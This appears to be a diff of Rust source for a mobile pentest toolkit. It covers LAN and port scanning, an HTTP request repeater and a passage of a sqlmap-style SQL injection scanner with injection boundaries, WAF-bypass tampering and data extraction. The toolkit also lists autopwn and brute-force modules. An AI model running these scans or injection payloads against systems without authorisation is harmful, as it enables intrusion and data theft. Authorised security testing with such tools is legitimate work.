21, 22, 23, 53, 80, 81, 88, 111, 135, 139, 143, 443, 445, 515, 548,
554, 631, 873, 902, 993, 995, 1080, 1433, 1521, 1723, 1883, 2049, 2121,
2222, 2375, 2376, 3000, 3306, 3389, 3478, 4444, 4567, 5000, 5040, 5432,
5555, 5601, 5672, 5900, 5984, 6379, 6667, 7000, 7077, 7474, 7680, 8000,
8008, 8009, 8080, 8081, 8086, 8088, 8089, 8123, 8181, 8200, 8291, 8333,
8443, 8500, 8765, 8834, 8888, 9000, 9090, 9100, 9200, 9418, 9999, 10000,
11211, 15672, 27017, 32400, 49152,
];
const MDNS_SERVICES: &[&str] = &[
"_services._dns-sd._udp.local",
"_http._tcp.local",
"_https._tcp.local",
"_ssh._tcp.local",
"_sftp-ssh._tcp.local",
"_smb._tcp.local",
"_afpovertcp._tcp.local",
"_printer._tcp.local",
"_ipp._tcp.local",
"_ipps._tcp.local",
"_pdl-datastream._tcp.local",
"_airplay._tcp.local",
"_raop._tcp.local",
"_googlecast._tcp.local",
"_spotify-connect._tcp.local",
"_homekit._tcp.local",
"_hap._tcp.local",
"_workstation._tcp.local",
"_device-info._tcp.local",
"_amzn-wplay._tcp.local",
];
// ------------------------------------------------------------------
// helpers
// ------------------------------------------------------------------
fn detect_local_ipv4() -> Option<Ipv4Addr> {
match local_ip_address::local_ip() {
Ok(IpAddr::V4(v4)) => Some(v4),
_ => None,
}
}
fn parse_or_autodetect_subnet(spec: Option<&str>) -> Option<(Ipv4Addr, Vec<Ipv4Addr>, String)> {
if let Some(cidr) = spec {
if let Some((net, _)) = cidr.split_once('/') {
if let Ok(base) = net.parse::<Ipv4Addr>() {
// simple /24 only for now
let octets = base.octets();
let hosts: Vec<Ipv4Addr> = (1..255).map(|h| Ipv4Addr::new(octets[0], octets[1], octets[2], h)).collect();
return Some((base, hosts, cidr.to_string()));
}
}
}
let me = detect_local_ipv4()?;
let oct = me.octets();
let base = Ipv4Addr::new(oct[0], oct[1], oct[2], 0);
let hosts: Vec<Ipv4Addr> = (1..255)
.map(|h| Ipv4Addr::new(oct[0], oct[1], oct[2], h))
.filter(|ip| *ip != me)
.collect();
Some((base, hosts, format!("{}.{}.{}.0/24", oct[0], oct[1], oct[2])))
}
fn guess_from_ports_and_services(ports: &[u16], services: &[String], upnp: &[String]) -> Option<String> {
let s_lower: Vec<String> = services.iter().chain(upnp.iter()).map(|s| s.to_lowercase()).collect();
let any = |needle: &str| s_lower.iter().any(|s| s.contains(needle));
if any("googlecast") { return Some("Google Cast / Chromecast".into()); }
if any("airplay") || any("raop") { return Some("Apple AirPlay device".into()); }
if any("homekit") || any("hap") { return Some("HomeKit accessory".into()); }
if any("spotify-connect") { return Some("Spotify Connect speaker".into()); }
if any("printer") || any("ipp") || any("pdl") { return Some("Network printer".into()); }
if any("workstation") { return Some("Workstation (NETBIOS/SMB)".into()); }
if ports.contains(&445) || ports.contains(&139) { return Some("Windows / Samba host".into()); }
if ports.contains(&3389) { return Some("Windows RDP host".into()); }
if ports.contains(&22) { return Some("SSH server".into()); }
if ports.contains(&80) && ports.contains(&443) && ports.contains(&8443) { return Some("Web server / appliance".into()); }
if ports.contains(&554) || ports.contains(&8000) || ports.contains(&8554) { return Some("IP camera (RTSP)?".into()); }
if ports.contains(&5900) { return Some("VNC server".into()); }
if ports.contains(&3306) || ports.contains(&5432) || ports.contains(&27017) { return Some("Database server".into()); }
if ports.contains(&53) && ports.contains(&80) { return Some("Router / gateway".into()); }
if ports.contains(&80) || ports.contains(&8080) { return Some("HTTP service".into()); }
None
}
// ------------------------------------------------------------------
// TCP sweep
// ------------------------------------------------------------------
async fn tcp_probe(ip: Ipv4Addr, port: u16, timeout_ms: u64) -> bool {
let addr = SocketAddr::new(IpAddr::V4(ip), port);
matches!(
timeout(Duration::from_millis(timeout_ms), TcpStream::connect(addr)).await,
Ok(Ok(_))
)
}
async fn sweep_host(ip: Ipv4Addr, ports: &[u16], concurrency: usize, timeout_ms: u64) -> Vec<u16> {
let sem = Arc::new(tokio::sync::Semaphore::new(concurrency.max(1)));
let mut futs = Vec::new();
for p in ports {
let sem = sem.clone();
let p = *p;
futs.push(async move {
let _permit = sem.acquire().await.unwrap();
if tcp_probe(ip, p, timeout_ms).await { Some(p) } else { None }
});
}
let mut results: Vec<u16> = futures::future::join_all(futs).await
.into_iter().flatten().collect();
results.sort_unstable();
results
}
// ------------------------------------------------------------------
// mDNS — fire one PTR query per service, listen for N seconds
// ------------------------------------------------------------------
fn build_mdns_query(name: &str) -> Vec<u8> {
// minimal DNS query: tx=0, flags=0, 1 question, type PTR, class IN
let mut buf: Vec<u8> = Vec::new();
buf.extend_from_slice(&[0, 0]); // tx id
buf.extend_from_slice(&[0, 0]); // flags = standard query
buf.extend_from_slice(&[0, 1]); // questions = 1
buf.extend_from_slice(&[0, 0, 0, 0, 0, 0]); // ans/auth/add = 0
for label in name.trim_end_matches('.').split('.') {
let bytes = label.as_bytes();
buf.push(bytes.len() as u8);
buf.extend_from_slice(bytes);
}
buf.push(0);
buf.extend_from_slice(&[0, 12]); // QTYPE = PTR
buf.extend_from_slice(&[0, 1]); // QCLASS = IN
buf
}
fn parse_mdns_ptr(packet: &[u8]) -> Vec<String> {
// best-effort: pull ANSWER PTR rdata as service-instance names
// skips header + question; handles compression pointers loosely
let mut out: Vec<String> = Vec::new();
if packet.len() < 12 { return out; }
let ancount = u16::from_be_bytes([packet[6], packet[7]]) as usize;
if ancount == 0 { return out; }
// skip header
let mut pos = 12usize;
// skip 1 question
let qdcount = u16::from_be_bytes([packet[4], packet[5]]) as usize;
for _ in 0..qdcount {
// skip name labels
while pos < packet.len() {
let len = packet[pos] as usize;
if len == 0 { pos += 1; break; }
if len & 0xC0 == 0xC0 { pos += 2; break; }
pos += 1 + len;
}
pos += 4; // QTYPE + QCLASS
if pos > packet.len() { return out; }
}
for _ in 0..ancount {
if pos >= packet.len() { break; }
// skip NAME (compressed or labels)
if packet[pos] & 0xC0 == 0xC0 { pos += 2; }
else {
while pos < packet.len() {
let len = packet[pos] as usize;
if len == 0 { pos += 1; break; }
if len & 0xC0 == 0xC0 { pos += 2; break; }
pos += 1 + len;
}
}
if pos + 10 > packet.len() { break; }
let rtype = u16::from_be_bytes([packet[pos], packet[pos + 1]]);
let rdlen = u16::from_be_bytes([packet[pos + 8], packet[pos + 9]]) as usize;
pos += 10;
if pos + rdlen > packet.len() { break; }
if rtype == 12 {
// PTR rdata: domain-name
if let Some(name) = read_name(packet, pos) {
out.push(name);
}
}
pos += rdlen;
}
out
}
fn read_name(packet: &[u8], start: usize) -> Option<String> {
let mut pos = start;
let mut out = String::new();
let mut jumped = false;
let mut hops = 0;
loop {
if hops > 20 || pos >= packet.len() { return None; }
let len = packet[pos] as usize;
if len == 0 { break; }
if len & 0xC0 == 0xC0 {
if pos + 1 >= packet.len() { return None; }
let off = ((len & 0x3F) << 8) | packet[pos + 1] as usize;
pos = off;
jumped = true;
hops += 1;
continue;
}
if !out.is_empty() { out.push('.'); }
if pos + 1 + len > packet.len() { return None; }
out.push_str(std::str::from_utf8(&packet[pos + 1..pos + 1 + len]).unwrap_or(""));
pos += 1 + len;
if !jumped && len == 0 { break; }
}
if out.is_empty() { None } else { Some(out) }
}
async fn run_mdns(timeout_secs: u64) -> HashMap<String, Vec<String>> {
let mut results: HashMap<String, Vec<String>> = HashMap::new();
let sock = match UdpSocket::bind("0.0.0.0:0").await {
Ok(s) => s,
Err(_) => return results,
};
let _ = sock.set_broadcast(true);
let mdns_addr: SocketAddr = "224.0.0.251:5353".parse().unwrap();
for svc in MDNS_SERVICES {
let q = build_mdns_query(svc);
let _ = sock.send_to(&q, mdns_addr).await;
}
let deadline = tokio::time::Instant::now() + Duration::from_secs(timeout_secs);
let mut buf = [0u8; 4096];
loop {
let now = tokio::time::Instant::now();
if now >= deadline { break; }
let remaining = deadline - now;
match timeout(remaining, sock.recv_from(&mut buf)).await {
Ok(Ok((n, src))) => {
let entries = parse_mdns_ptr(&buf[..n]);
if let IpAddr::V4(v4) = src.ip() {
let key = v4.to_string();
let bucket = results.entry(key).or_default();
for e in entries {
if !bucket.contains(&e) { bucket.push(e); }
}
}
}
_ => break,
}
}
results
}
// ------------------------------------------------------------------
// SSDP
// ------------------------------------------------------------------
async fn run_ssdp(timeout_secs: u64) -> HashMap<String, Vec<String>> {
let mut results: HashMap<String, Vec<String>> = HashMap::new();
let sock = match UdpSocket::bind("0.0.0.0:0").await {
Ok(s) => s,
Err(_) => return results,
};
let _ = sock.set_broadcast(true);
let ssdp_addr: SocketAddr = "239.255.255.250:1900".parse().unwrap();
let msg = b"M-SEARCH * HTTP/1.1\r\n\
HOST: 239.255.255.250:1900\r\n\
MAN: \"ssdp:discover\"\r\n\
MX: 2\r\n\
ST: ssdp:all\r\n\r\n";
let _ = sock.send_to(msg, ssdp_addr).await;
let deadline = tokio::time::Instant::now() + Duration::from_secs(timeout_secs);
let mut buf = [0u8; 4096];
loop {
let now = tokio::time::Instant::now();
if now >= deadline { break; }
let remaining = deadline - now;
match timeout(remaining, sock.recv_from(&mut buf)).await {
Ok(Ok((n, src))) => {
if let IpAddr::V4(v4) = src.ip() {
let text = String::from_utf8_lossy(&buf[..n]);
let mut info = String::new();
for line in text.lines() {
let l = line.to_lowercase();
if l.starts_with("server:") || l.starts_with("st:") || l.starts_with("location:") || l.starts_with("usn:") {
if !info.is_empty() { info.push_str(" | "); }
info.push_str(line.trim());
}
}
if !info.is_empty() {
let bucket = results.entry(v4.to_string()).or_default();
if !bucket.contains(&info) { bucket.push(info); }
}
}
}
_ => break,
}
}
results
}
// ------------------------------------------------------------------
// orchestrator
// ------------------------------------------------------------------
#[tauri::command]
pub async fn lan_scan(app: AppHandle, req: LanScanRequest) -> Result<LanScanReport, String> {
let ports = req.ports.clone().unwrap_or_else(|| DEFAULT_PORTS.to_vec());
let local_ip = detect_local_ipv4()
.map(|ip| ip.to_string())
.unwrap_or_else(|| "unknown".into());
let (_base, hosts, subnet) = parse_or_autodetect_subnet(req.subnet_cidr.as_deref())
.ok_or_else(|| "could not detect local network — pass subnet_cidr (e.g. 192.168.1.0/24)".to_string())?;
let _ = app.emit("lanmap:status", format!("scanning {} ({} hosts × {} ports)", subnet, hosts.len(), ports.len()));
let devices: Arc<Mutex<HashMap<String, LanDevice>>> = Arc::new(Mutex::new(HashMap::new()));
// ---- multicast probes start in background ----
let mdns_handle = if req.probe_mdns {
Some(tokio::spawn(run_mdns(4)))
} else { None };
let ssdp_handle = if req.probe_ssdp {
Some(tokio::spawn(run_ssdp(4)))
} else { None };
// ---- TCP sweep ----
let total = hosts.len();
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
let host_sem = Arc::new(tokio::sync::Semaphore::new(req.concurrency.max(1)));
stream::iter(hosts.into_iter())
.map(|ip| {
let ports = ports.clone();
let host_sem = host_sem.clone();
let done = done.clone();
let app = app.clone();
let devices = devices.clone();
async move {
let _permit = host_sem.acquire().await.unwrap();
// sequential per-host port sweep but capped concurrency
let open = sweep_host(ip, &ports, 50, req.timeout_ms).await;
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
let _ = app.emit("lanmap:progress", serde_json::json!({"done": n, "total": total}));
if !open.is_empty() {
let mut guard = devices.lock().await;
let entry = guard.entry(ip.to_string()).or_insert_with(|| LanDevice {
ip: ip.to_string(), ..Default::default()
});
entry.open_ports = open.clone();
entry.guess = guess_from_ports_and_services(&open, &entry.services, &entry.upnp);
drop(guard);
let snapshot = LanDevice {
ip: ip.to_string(),
open_ports: open.clone(),
guess: guess_from_ports_and_services(&open, &[], &[]),
..Default::default()
};
let _ = app.emit("lanmap:device", snapshot);
}
}
})
.buffer_unordered(req.concurrency.max(1))
.for_each(|_| async {})
.await;
// ---- merge multicast results ----
if let Some(h) = mdns_handle {
if let Ok(map) = h.await {
let mut guard = devices.lock().await;
for (ip, services) in map {
let entry = guard.entry(ip.clone()).or_insert_with(|| LanDevice { ip: ip.clone(), ..Default::default() });
for s in services {
if !entry.services.contains(&s) { entry.services.push(s); }
}
entry.guess = guess_from_ports_and_services(&entry.open_ports, &entry.services, &entry.upnp);
}
}
}
if let Some(h) = ssdp_handle {
if let Ok(map) = h.await {
let mut guard = devices.lock().await;
for (ip, lines) in map {
let entry = guard.entry(ip.clone()).or_insert_with(|| LanDevice { ip: ip.clone(), ..Default::default() });
for s in lines {
if !entry.upnp.contains(&s) { entry.upnp.push(s); }
}
entry.guess = guess_from_ports_and_services(&entry.open_ports, &entry.services, &entry.upnp);
}
}
}
let mut list: Vec<LanDevice> = devices.lock().await.values().cloned().collect();
list.sort_by(|a, b| a.ip.cmp(&b.ip));
let _ = app.emit("lanmap:done", list.len());
Ok(LanScanReport {
local_ip,
subnet,
devices: list,
})
}
#[tauri::command]
pub async fn lan_local_info() -> Result<serde_json::Value, String> {
let v4 = detect_local_ipv4().map(|ip| ip.to_string()).unwrap_or_else(|| "unknown".into());
let oct = detect_local_ipv4().map(|ip| ip.octets()).unwrap_or([0; 4]);
let subnet = if oct[0] == 0 { String::new() }
else { format!("{}.{}.{}.0/24", oct[0], oct[1], oct[2]) };
Ok(serde_json::json!({
"local_ip": v4,
"subnet": subnet,
"platform": format!("{}-{}", std::env::consts::OS, std::env::consts::ARCH),
"android": cfg!(target_os = "android"),
}))
}

View File

@@ -0,0 +1,19 @@
pub mod port_scan;
pub mod subdomain;
pub mod httpx;
pub mod takeover;
pub mod sqli;
pub mod xss;
pub mod jwt;
pub mod xploiter;
pub mod xploiter_store;
pub mod autopwn;
pub mod lan_map;
pub mod repeater;
pub mod dirfuzz;
pub mod admin_finder;
pub mod form_brute;
pub mod dns_tools;
pub mod ssl_scan;
pub mod banner;
pub mod domain_grabber;

View File

@@ -0,0 +1,137 @@
use std::net::SocketAddr;
use std::sync::Arc;
use std::time::Duration;
use futures::stream::{self, StreamExt};
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter};
use tokio::net::TcpStream;
use tokio::sync::Semaphore;
use tokio::time::timeout;
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct PortScanRequest {
pub target: String,
pub ports: Vec<u16>,
pub concurrency: usize,
pub timeout_ms: u64,
}
#[derive(Debug, Clone, Serialize)]
pub struct PortResult {
pub port: u16,
pub open: bool,
pub service: Option<String>,
}
#[derive(Debug, Clone, Serialize)]
pub struct ScanProgress {
pub scanned: usize,
pub total: usize,
}
pub fn top_1000_ports() -> Vec<u16> {
vec![
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723,
3306, 3389, 5900, 8080, 8443, 8888, 5432, 6379, 27017, 9200, 5601, 11211,
1433, 1521, 2049, 2181, 2375, 2376, 4369, 5000, 5001, 5044, 5432, 5601,
5672, 5984, 6000, 6379, 7000, 7001, 7002, 8000, 8001, 8008, 8009, 8010,
8081, 8082, 8083, 8086, 8088, 8090, 8091, 8161, 8200, 8291, 8333, 8400,
8500, 8834, 8983, 9000, 9001, 9042, 9090, 9091, 9092, 9100, 9160, 9200,
9300, 9418, 9443, 9999, 10000, 10001, 10250, 11211, 15672, 16379, 27017,
27018, 27019, 28017, 50000, 50070, 54321, 61616,
// common ports
20, 26, 37, 79, 81, 82, 88, 106, 113, 119, 123, 137, 138, 161, 162, 389,
427, 465, 500, 513, 514, 515, 548, 554, 587, 631, 636, 646, 873, 902,
990, 1025, 1026, 1027, 1028, 1029, 1080, 1110, 1194, 1214, 1241, 1311,
1352, 1434, 1433, 1494, 1503, 1720, 1755, 1761, 1812, 1900, 2000, 2001,
2049, 2121, 2222, 2301, 2383, 2601, 2717, 2869, 3000, 3001, 3128, 3268,
3306, 3389, 3690, 4000, 4001, 4045, 4100, 4333, 4444, 4662, 4899, 5009,
5050, 5060, 5100, 5190, 5357, 5432, 5555, 5631, 5666, 5800, 5900, 6001,
6346, 6646, 6660, 6661, 6662, 6663, 6665, 6666, 6667, 6668, 6669, 6881,
7070, 7937, 7938, 8021, 8031, 8042, 8080, 8088, 8181, 8443, 8686, 8888,
9100, 9102, 9103, 9535, 9999, 10243, 10566, 12345, 13782, 13783, 16992,
16993, 17877, 17988, 19101, 19801, 19842, 20000, 22939, 24800, 30718,
32768, 32769, 32770, 32771, 32772, 32773, 32774, 32775, 32776, 32777,
32778, 32779, 49152, 49153, 49154, 49155, 49156, 49157, 49158, 49159,
49160, 49161, 49163, 49165, 49167, 49175, 49176, 49400, 49999, 65000,
65129, 65389,
]
}
pub fn service_name(port: u16) -> Option<String> {
let s = match port {
21 => "ftp",
22 => "ssh",
23 => "telnet",
25 => "smtp",
53 => "dns",
80 => "http",
110 => "pop3",
139 => "netbios",
143 => "imap",
443 => "https",
445 => "smb",
993 => "imaps",
995 => "pop3s",
1433 => "mssql",
1521 => "oracle",
3306 => "mysql",
3389 => "rdp",
5432 => "postgres",
5900 => "vnc",
6379 => "redis",
8080 => "http-alt",
8443 => "https-alt",
9200 => "elasticsearch",
27017 => "mongodb",
_ => return None,
};
Some(s.to_string())
}
async fn probe(addr: SocketAddr, timeout_ms: u64) -> bool {
matches!(
timeout(Duration::from_millis(timeout_ms), TcpStream::connect(addr)).await,
Ok(Ok(_))
)
}
#[tauri::command]
pub async fn port_scan(app: AppHandle, req: PortScanRequest) -> Result<Vec<PortResult>, String> {
let ip: std::net::IpAddr = tokio::net::lookup_host(format!("{}:80", req.target))
.await
.map_err(|e| format!("resolve failed: {e}"))?
.next()
.map(|s| s.ip())
.ok_or("no addresses resolved")?;
let total = req.ports.len();
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
let scanned = Arc::new(std::sync::atomic::AtomicUsize::new(0));
let results: Vec<PortResult> = stream::iter(req.ports.into_iter())
.map(|port| {
let sem = sem.clone();
let scanned = scanned.clone();
let app = app.clone();
async move {
let _permit = sem.acquire().await.unwrap();
let addr = SocketAddr::new(ip, port);
let open = probe(addr, req.timeout_ms).await;
let n = scanned.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
let _ = app.emit("portscan:progress", ScanProgress { scanned: n, total });
let result = PortResult { port, open, service: service_name(port) };
if open {
let _ = app.emit("portscan:hit", result.clone());
}
result
}
})
.buffer_unordered(req.concurrency.max(1))
.collect()
.await;
let _ = app.emit("portscan:done", total);
Ok(results.into_iter().filter(|r| r.open).collect())
}

View File

@@ -0,0 +1,131 @@
// ===================================================================
// Repeater — Burp-style manual HTTP request sender.
// Full control: method, URL, headers, body. Returns full response.
// ===================================================================
use std::collections::HashMap;
use std::time::{Duration, Instant};
use serde::{Deserialize, Serialize};
#[derive(Debug, Clone, Deserialize)]
pub struct RepeaterRequest {
pub method: String,
pub url: String,
#[serde(default)]
pub headers: HashMap<String, String>,
#[serde(default)]
pub body: Option<String>,
#[serde(default = "default_timeout")]
pub timeout_ms: u64,
#[serde(default)]
pub follow_redirects: bool,
#[serde(default)]
pub ignore_tls: bool,
}
fn default_timeout() -> u64 { 15_000 }
#[derive(Debug, Clone, Serialize)]
pub struct RepeaterResponse {
pub status: u16,
pub status_text: String,
pub http_version: String,
pub headers: Vec<(String, String)>,
pub body: String,
pub body_len: usize,
pub content_type: Option<String>,
pub time_ms: u128,
pub final_url: String,
pub redirected: bool,
pub is_text: bool,
}
#[tauri::command]
pub async fn repeater_send(req: RepeaterRequest) -> Result<RepeaterResponse, String> {
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(req.ignore_tls)
.timeout(Duration::from_millis(req.timeout_ms))
.redirect(if req.follow_redirects {
reqwest::redirect::Policy::limited(10)
} else {
reqwest::redirect::Policy::none()
})
.user_agent("Mozilla/5.0 (PocketPentester-Repeater)")
.build()
.map_err(|e| e.to_string())?;
let method = reqwest::Method::from_bytes(req.method.to_uppercase().as_bytes())
.map_err(|e| format!("bad method: {e}"))?;
let mut builder = client.request(method, &req.url);
for (k, v) in &req.headers {
if k.trim().is_empty() { continue; }
builder = builder.header(k.trim(), v);
}
if let Some(body) = &req.body {
if !body.is_empty() {
builder = builder.body(body.clone());
}
}
let start = Instant::now();
let resp = builder.send().await.map_err(|e| e.to_string())?;
let status = resp.status();
let version = format!("{:?}", resp.version());
let final_url = resp.url().to_string();
let redirected = final_url != req.url;
let headers: Vec<(String, String)> = resp.headers().iter()
.map(|(k, v)| (k.to_string(), v.to_str().unwrap_or("").to_string()))
.collect();
let content_type = resp.headers().get("content-type")
.and_then(|v| v.to_str().ok()).map(String::from);
let is_text = content_type.as_deref().map(|c| {
c.starts_with("text/") || c.contains("json") || c.contains("xml")
|| c.contains("javascript") || c.contains("html") || c.contains("form-urlencoded")
}).unwrap_or(true);
let body = resp.text().await.unwrap_or_default();
let elapsed = start.elapsed().as_millis();
Ok(RepeaterResponse {
status: status.as_u16(),
status_text: status.canonical_reason().unwrap_or("").into(),
http_version: version,
headers,
body_len: body.len(),
body,
content_type,
time_ms: elapsed,
final_url,
redirected,
is_text,
})
}
#[tauri::command]
pub fn repeater_to_curl(req: RepeaterRequest) -> String {
let mut parts: Vec<String> = vec!["curl".into(), "-i".into()];
if req.ignore_tls { parts.push("-k".into()); }
if req.follow_redirects { parts.push("-L".into()); }
if req.method.to_uppercase() != "GET" {
parts.push("-X".into());
parts.push(req.method.to_uppercase());
}
for (k, v) in &req.headers {
if k.trim().is_empty() { continue; }
parts.push("-H".into());
parts.push(format!("'{}: {}'", k.trim(), v.replace('\'', "'\\''")));
}
if let Some(body) = &req.body {
if !body.is_empty() {
parts.push("--data-raw".into());
parts.push(format!("'{}'", body.replace('\'', "'\\''")));
}
}
parts.push(format!("'{}'", req.url));
parts.join(" ")
}

View File

@@ -0,0 +1,770 @@
// ===================================================================
// SQLi Scanner — sqlmap-style detection + exploitation.
//
// Detection pipeline (per injection point):
// 1. Heuristic: append `'`, `''`, `"`, `\`, `)` — detect SQL errors or
// response divergence from baseline. If nothing flags → skip.
// 2. Fingerprint: compile DBMS guess from error signatures.
// 3. Boolean-blind: test TRUE vs FALSE payload with prefix/suffix
// variants, confirmed when TRUE ≈ baseline AND FALSE ≠ baseline.
// 4. Error-based: send quote-break payload, grep DBMS error regex.
// 5. Time-based: payload that sleeps N seconds, confirm if elapsed ≥ N.
// 6. Union-based: find column count via ORDER BY increments, then
// UNION SELECT markers to find reflected column → data extraction.
//
// Injection points tested:
// - GET query params (from URL)
// - POST body (form-urlencoded or JSON, `*` marker supported)
// - Cookie values (`*` marker in cookie string)
// - User-Agent / Referer / X-Forwarded-For headers (level 2+)
//
// `*` marker: anywhere in URL/body/cookie/header value forces that
// position to be the injection point (exclusive). Example:
// url = "https://x.com/item?id=1*"
// body = "user=admin&token=*"
//
// After confirmation (if auto_extract=true), attempts to pull:
// - DBMS banner / version()
// - current_user / current_database
// via UNION or error-based extraction.
// ===================================================================
use std::collections::HashMap;
use std::sync::Arc;
use std::time::{Duration, Instant};
use once_cell::sync::Lazy;
use regex::Regex;
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter};
use tokio::sync::Semaphore;
use url::Url;
// ------------------------------------------------------------------
// Public API
// ------------------------------------------------------------------
#[derive(Debug, Clone, Deserialize)]
pub struct SqliRequest {
pub url: String,
#[serde(default = "default_method")]
pub method: String,
#[serde(default)]
pub body: Option<String>,
#[serde(default)]
pub headers: HashMap<String, String>,
#[serde(default)]
pub cookies: Option<String>,
/// Filter params to test (optional). Blank = all found params tested.
#[serde(default)]
pub params: Option<Vec<String>>,
/// Which techniques to run: "heuristic" "error" "boolean" "time" "union".
#[serde(default = "default_techs")]
pub techniques: Vec<String>,
/// 1 = safest / fastest, 2 = adds headers + more payloads, 3 = full.
#[serde(default = "default_level")]
pub level: u8,
/// Risk 1 = non-intrusive, 2 = time-based, 3 = stacked queries.
#[serde(default = "default_risk")]
pub risk: u8,
#[serde(default = "default_true")]
pub stop_on_first: bool,
#[allow(dead_code)]
#[serde(default = "default_true")]
pub auto_extract: bool,
#[serde(default)]
pub tamper: Vec<String>,
#[serde(default = "default_conc")]
pub concurrency: usize,
#[serde(default = "default_timeout")]
pub timeout_ms: u64,
#[serde(default = "default_true")]
pub follow_redirects: bool,
}
fn default_method() -> String { "GET".into() }
fn default_techs() -> Vec<String> { vec!["heuristic".into(), "error".into(), "boolean".into(), "union".into(), "time".into()] }
fn default_level() -> u8 { 2 }
fn default_risk() -> u8 { 1 }
fn default_conc() -> usize { 4 }
fn default_timeout() -> u64 { 15_000 }
fn default_true() -> bool { true }
#[derive(Debug, Clone, Serialize)]
pub struct SqliFinding {
pub param: String,
pub location: String, // "GET", "POST", "Cookie", "Header:Referer"
pub technique: String, // "heuristic", "error", "boolean-blind", "time-blind", "union"
pub dbms: Option<String>,
pub prefix: String,
pub suffix: String,
pub payload: String,
pub full_payload: String,
pub evidence: String,
pub confidence: String,
pub extracted: HashMap<String, String>,
}
// ------------------------------------------------------------------
// DBMS signatures
// ------------------------------------------------------------------
static DBMS_ERRORS: Lazy<Vec<(&'static str, Vec<Regex>)>> = Lazy::new(|| vec![
("MySQL", vec![
Regex::new(r"(?i)sql syntax.*?mysql").unwrap(),
Regex::new(r"(?i)warning.*?\Wmysqli?_").unwrap(),
Regex::new(r"(?i)mysql.*?error").unwrap(),
Regex::new(r"(?i)you have an error in your sql syntax").unwrap(),
Regex::new(r"(?i)unknown column").unwrap(),
Regex::new(r"(?i)mysqlclient\.").unwrap(),
Regex::new(r"(?i)mysql-community-server").unwrap(),
]),
("PostgreSQL", vec![
Regex::new(r"(?i)postgresql.*?error").unwrap(),
Regex::new(r"(?i)pg_query\(\)").unwrap(),
Regex::new(r"(?i)unterminated quoted string at or near").unwrap(),
Regex::new(r"(?i)invalid input syntax for (?:integer|type)").unwrap(),
Regex::new(r"(?i)postgres\.").unwrap(),
]),
("MSSQL", vec![
Regex::new(r"(?i)microsoft sql server").unwrap(),
Regex::new(r"(?i)odbc sql server driver").unwrap(),
Regex::new(r"(?i)unclosed quotation mark before the character string").unwrap(),
Regex::new(r"(?i)\[microsoft]\[odbc").unwrap(),
Regex::new(r"(?i)sqlserver jdbc driver").unwrap(),
Regex::new(r"(?i)conversion failed when converting").unwrap(),
]),
("Oracle", vec![
Regex::new(r"(?i)ora-\d{5}").unwrap(),
Regex::new(r"(?i)oracle error").unwrap(),
Regex::new(r"(?i)quoted string not properly terminated").unwrap(),
Regex::new(r"(?i)oracle.*?driver").unwrap(),
]),
("SQLite", vec![
Regex::new(r"(?i)sqlite.*?error").unwrap(),
Regex::new(r"(?i)sqlite3::sqlexception").unwrap(),
Regex::new(r"(?i)unrecognized token:").unwrap(),
Regex::new("(?i)near \".*?\": syntax error").unwrap(),
]),
]);
fn detect_dbms(body: &str) -> Option<&'static str> {
for (db, regexes) in DBMS_ERRORS.iter() {
if regexes.iter().any(|re| re.is_match(body)) { return Some(db); }
}
None
}
// ------------------------------------------------------------------
// Prefix/suffix combos — ported from sqlmap's boundaries
// ------------------------------------------------------------------
fn boundaries(level: u8) -> Vec<(&'static str, &'static str)> {
// (prefix, suffix)
let base = vec![
("", "-- -"),
("'", "-- -"),
("'", "'"),
("\"", "-- -"),
("\"", "\""),
(")", "-- -"),
("')", "-- -"),
("\")", "-- -"),
];
if level <= 1 { return base; }
let mut more = base;
more.extend([
("))", "-- -"),
("'))", "-- -"),
("\"))", "-- -"),
("`", "-- -"),
("`;", "-- -"),
(";", "-- -"),
("';", "-- -"),
]);
if level <= 2 { return more; }
more.extend([
("'))", "AND ('x'='x"),
("\"))", "AND (\"x\"=\"x"),
("%27", "-- -"),
("%2527", "-- -"),
]);
more
}
// ------------------------------------------------------------------
// Tamper scripts (WAF bypass)
// ------------------------------------------------------------------
fn apply_tamper(payload: &str, tampers: &[String]) -> String {
let mut p = payload.to_string();
for t in tampers {
p = match t.as_str() {
"randomcase" => randomcase(&p),
"space2comment" => p.replace(' ', "/**/"),
"space2plus" => p.replace(' ', "+"),
"between" => p.replace("=", " BETWEEN 0 AND 0 "), // crude
"equaltolike" => p.replace("=", " LIKE "),
"charunicodeencode" => char_unicode_encode(&p),
_ => p,
};
}
p
}
fn randomcase(s: &str) -> String {
use rand::Rng;
let mut rng = rand::thread_rng();
s.chars().map(|c| if c.is_ascii_alphabetic() && rng.gen_bool(0.5) { c.to_ascii_uppercase() } else { c.to_ascii_lowercase() }).collect()
}
fn char_unicode_encode(s: &str) -> String {
s.chars().map(|c| if c.is_ascii_alphanumeric() { c.to_string() } else { format!("%u00{:02x}", c as u32) }).collect()
}
// ------------------------------------------------------------------
// Request orchestration
// ------------------------------------------------------------------
#[derive(Debug, Clone)]
struct InjectionPoint {
location: String, // "GET", "POST", "Cookie", "Header:X-Forwarded-For"
name: String, // param name
base_value: String, // original value
}
#[derive(Debug, Clone)]
struct Target {
url: Url,
method: String,
body: Option<String>,
body_is_json: bool,
headers: HashMap<String, String>,
cookies: Option<String>,
}
fn parse_cookies(raw: &str) -> Vec<(String, String)> {
raw.split(';').filter_map(|p| {
let t = p.trim();
if t.is_empty() { return None; }
let (k, v) = t.split_once('=')?;
Some((k.trim().to_string(), v.trim().to_string()))
}).collect()
}
fn serialize_cookies(pairs: &[(String, String)]) -> String {
pairs.iter().map(|(k, v)| format!("{k}={v}")).collect::<Vec<_>>().join("; ")
}
fn find_injection_points(req: &SqliRequest, target: &Target) -> Vec<InjectionPoint> {
let mut out: Vec<InjectionPoint> = Vec::new();
let filter = req.params.clone().unwrap_or_default();
let want = |n: &str| filter.is_empty() || filter.iter().any(|f| f == n);
// Star marker has priority — if present, only inject there
if target.url.as_str().contains('*') {
// treat entire URL query as marker-based... simplified: find param with *
for (k, v) in target.url.query_pairs() {
if v.contains('*') {
out.push(InjectionPoint {
location: "GET".into(),
name: k.to_string(),
base_value: v.trim_end_matches('*').to_string(),
});
}
}
